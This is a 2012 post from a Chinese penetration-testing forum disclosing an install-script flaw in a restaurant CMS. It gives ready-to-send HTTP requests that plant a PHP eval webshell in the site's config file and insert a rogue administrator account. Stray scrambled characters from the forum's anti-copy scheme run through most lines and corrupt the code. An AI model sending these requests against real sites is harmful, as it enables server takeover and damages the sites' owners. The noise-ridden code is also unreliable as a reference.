中国网络渗透测试联盟

标题: 口福科技餐厅cms漏洞(可getshell) [打印本页]

作者: admin    时间: 2012-12-4 11:13
标题: 口福科技餐厅cms漏洞(可getshell)
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
0 v. @. `! t/ K9 Q! v2 O# ^% _( j# y* Y9 n! T" K+ C
<?php
( `4 s; m% f4 {if(file_exists("../install.lock"))
0 e: L; F2 |  B! X" S! ?8 o{
  X8 W/ a" m" `9 d! M    header("Location: ../");//没有退出
* O4 E+ J, W) n' q}$ K! d0 Z: j# q: R8 Z. `, g  G' ]
               
0 F1 I. |7 k* I% M9 l6 b  x7 d//echo 'tst';exit;' q% x+ G, j. O* ]3 s+ Z3 ]  K
require_once("init.php");! ?6 I6 A5 {+ r7 q6 L
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
5 z: X8 v5 S1 @{. D0 @6 K" e# h' a9 E- b8 m
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。' U$ m+ x9 g* v4 Q) L( m

1 e, Y7 |" o9 j6 r2 _8 c1、getshell(很危险)) K) b2 H9 a: U, n
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
' X7 ]7 i, }2 C. _8 j, W4 x{
. T( N# [- T% k, E  s$smarty->assign("step",1);
5 a* x) V2 O6 w/ {- r0 u2 \: W$smarty->display("index.html");
& T4 S) T% P  C  X4 U; \$ r}elseif($_REQUEST['step']==2)
! M+ p: Y2 q1 y1 a{" D& }3 ]% H3 [; J* z# y
    $mysql_host=trim($_POST['mysql_host']);1 Q6 l# c$ D, o9 p
    $mysql_user=trim($_POST['mysql_user']);0 t. D3 `9 C; b8 ^/ l
    $mysql_pwd=trim($_POST['mysql_pwd']);7 f6 i) P2 B( h. I+ F) D$ P
    $mysql_db=trim($_POST['mysql_db']);
7 v! ^& l0 Q" c4 k9 N: s. p  ^    $tblpre=trim($_POST['tblpre']);
4 E2 k7 g$ ]& K' e$ q    $domain==trim($_POST['domain']);
. U3 }5 s7 K7 T% Y# ^+ |    $str="<?php \r\n";- X0 o) H( J* r1 f* M. w& `
    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
+ B! A$ [% g  U2 t    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
( r1 g# w) Q; ~' b    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
" y4 g' B2 h6 a* O- A9 R% P    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
  \, l2 ^. U$ v5 U    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";5 m5 F/ {! ~0 L+ K+ H' i
    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
. |, h4 h( E0 J7 k& M' E6 N    $str.='define("DOMAIN","'.$domain.'");'."\r\n";
, h  S# q! c/ y' {" c$ G    $str.='define("SKINS","default");'."\r\n";
  y% F1 `0 I' x- O" \    $str.='?>';$ q2 u9 ?6 Z2 `2 Z% P
    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件3 M/ ~7 U3 Y% r9 i
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马  x* [+ T( \5 Z; ]; |
POST /canting/install/index.php?m=index&step=2 HTTP/1.1) O! |4 O$ C& m) g
Host: 192.168.80.129
$ S3 @( m( z1 `7 f4 h. CUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0) W  W. k) |9 i; @5 I+ C! w9 O
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
) O, u- w: b: ?8 [( yAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
* `# D0 k$ g$ j2 F6 gAccept-Encoding: gzip, deflate
+ d% u% q' s* j) [1 dReferer: http://192.168.80.129/canting/install/index.php?step=1' f* I. w  T/ n3 b3 p2 V+ I0 K" h
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
- p' d4 A2 r) W1 V1 w. m$ |. NContent-Type: application/x-www-form-urlencoded' x% ^0 S; W1 j) m+ N$ k
Content-Length: 126
: h1 l/ P* J: L; N& E; ?          $ M1 F. E0 m" g% y' C& e
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
" d  [" p% X! q) d5 J: W+ ^但是这个方法很危险,将导致网站无法运行。
  @; V, ]: A7 ~9 T7 \& @2 Q
! F9 W2 F- P! R7 \3 {" c2、直接添加管理员1 r, U, o+ l/ T$ r9 p

4 r+ H& |& \( v; k9 M' t) `9 felseif($_REQUEST['step']==5)6 U9 Z7 f3 f/ {5 C& S( U8 f+ k0 }
{
5 H0 {- G; z& Q* `7 q! E3 M0 l    if($_POST)" y+ s) i& g" `9 v9 q
    {   require_once("../config/config.inc.php");$ E' E% r: S; W
        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);2 _+ L! j8 t( H  A( l: j: \- D
        mysql_select_db(MYSQL_DB,$link);  _  o4 i0 @2 L( H7 |& Q% [
        mysql_query("SET NAMES ".MYSQL_CHARSET );
( D. \# r0 S) {& r0 j4 Q# e         mysql_query("SET sql_mode=''");& k; @, v2 U& w+ |

  i( E2 ~5 b6 o$ B8 D- e $adminname=trim($_POST['adminname']);, M$ H: j& j- Y. q
        $pwd1=trim($_POST['pwd1']);
- n1 o( f+ z" B2 W5 A6 ?  g' v        $pwd2=trim($_POST['pwd2']);
: q- o' n8 W$ P8 ?1 I' v: Z! Q' Y        if(empty($adminname))
$ [) c# Z5 F; g* g0 r& g- _9 `        {' q8 w8 R$ h( l0 Q# D* g* o' C

/ V) R& U; X0 s echo "<script>alert('管理员不能为空');history.go(-1);</script>";2 H- b8 s9 k% B2 ]6 r9 a2 s
            exit();
. V8 ~" u$ W8 q  ?5 W        }' D. g9 Q* V# |0 Q
        if(($pwd1!=$pwd2) or empty($pwd1))
9 Q0 h3 B6 ]+ H2 K' y) C8 S        {
, ]3 o0 L" I8 h7 O4 R% ]% s" m            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出2 a' w' s. T- O) O
        }  ?# h( J( V' z* L
        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员5 n* j% J& Y7 n* S8 ^7 {
    }
/ U' E; [0 z. T3 f! ]5 V这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
. [& l2 A% }1 _! H5 BPOST /canting/install/index.php?m=index&step=5 HTTP/1.1- K$ D4 V+ K3 {/ J7 ?& n/ ^
Host: 192.168.80.129
3 A- |9 \6 G  w% U" N& v; bUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
9 \; A3 q; p2 x7 _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
" t4 r  i& U8 FAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.33 o1 v- g5 X6 }( ?; [
Accept-Encoding: gzip, deflate/ p# n# ^: F: {; g" y* H( R
Referer: http://www.2cto.com /canting/install/index.php?step=1+ L& F5 h+ @/ _; \% T
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42+ ~& p4 o+ }5 h
Content-Type: application/x-www-form-urlencoded
5 N7 T5 n, n( b8 x) D6 t  lContent-Length: 46
$ R4 u  g5 I0 }5 ]& `! q" ]; F      
* @! u. h* |/ K3 {adminname=qingshen&pwd1=qingshen&pwd2=qingshen​/ h- Y2 n. U4 @" }- \





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2